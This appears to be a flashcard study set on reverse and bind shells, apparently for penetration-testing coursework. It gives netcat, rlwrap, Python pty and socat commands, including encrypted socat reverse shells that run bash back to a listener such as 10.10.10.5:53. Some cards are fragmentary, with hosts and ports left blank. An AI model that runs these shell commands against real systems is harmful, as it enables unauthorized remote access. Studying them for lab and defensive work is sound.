Shell

0.0(0)
studied byStudied by 0 people
learnLearn
examPractice Test
spaced repetitionSpaced Repetition
heart puzzleMatch
flashcardsFlashcards
Card Sorting

1/15

encourage image

There's no tags or description

Looks like no tags are added yet.

Study Analytics
Name
Mastery
Learn
Test
Matching
Spaced

No study sessions yet.

16 Terms

1
New cards

The syntax for starting a netcat listener using Linux

nc -lvnp : l listen, v verbpse, n not resolve DNS, p port

2
New cards

Connecting to a listening (bind shell):

nc

3
New cards

Use python to secure a stable shell

"python -c 'import pty;pty.spawn(""/bin/bash"")'

4
New cards

export TERM=xterm

5
New cards

Ctrl Z

6
New cards

stty raw -echo; fg"

7
New cards

Use rlwrap to secure a stable shell

rlwrap nc -lvnp

8
New cards

Use openssl to creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year.

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

9
New cards

merge the two created files into a single .pem file

cat shell.key shell.crt > shell.pem

10
New cards

Use socat to set up a shell listener (simple)

socat TCP-L: -

11
New cards

Use socat to set up a shell connecting to listener (simple)

socat TCP:: EXEC:"bash -li" (for window: EXEC:powershell.exe,pipes)

12
New cards

Use socat to set up our reverse shell listener

socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 -

13
New cards

Use socat to connect to a shell

socat OPENSSL::,verify=0 EXEC:/bin/bash

14
New cards

What is the syntax for setting up an OPENSSL-LISTENER using the tty technique? Use port 53, and a PEM file called "encrypt.pem"

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:tty,raw,echo=0

15
New cards

f your IP is 10.10.10.5, what syntax would you use to connect back to this listener?

socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

16
New cards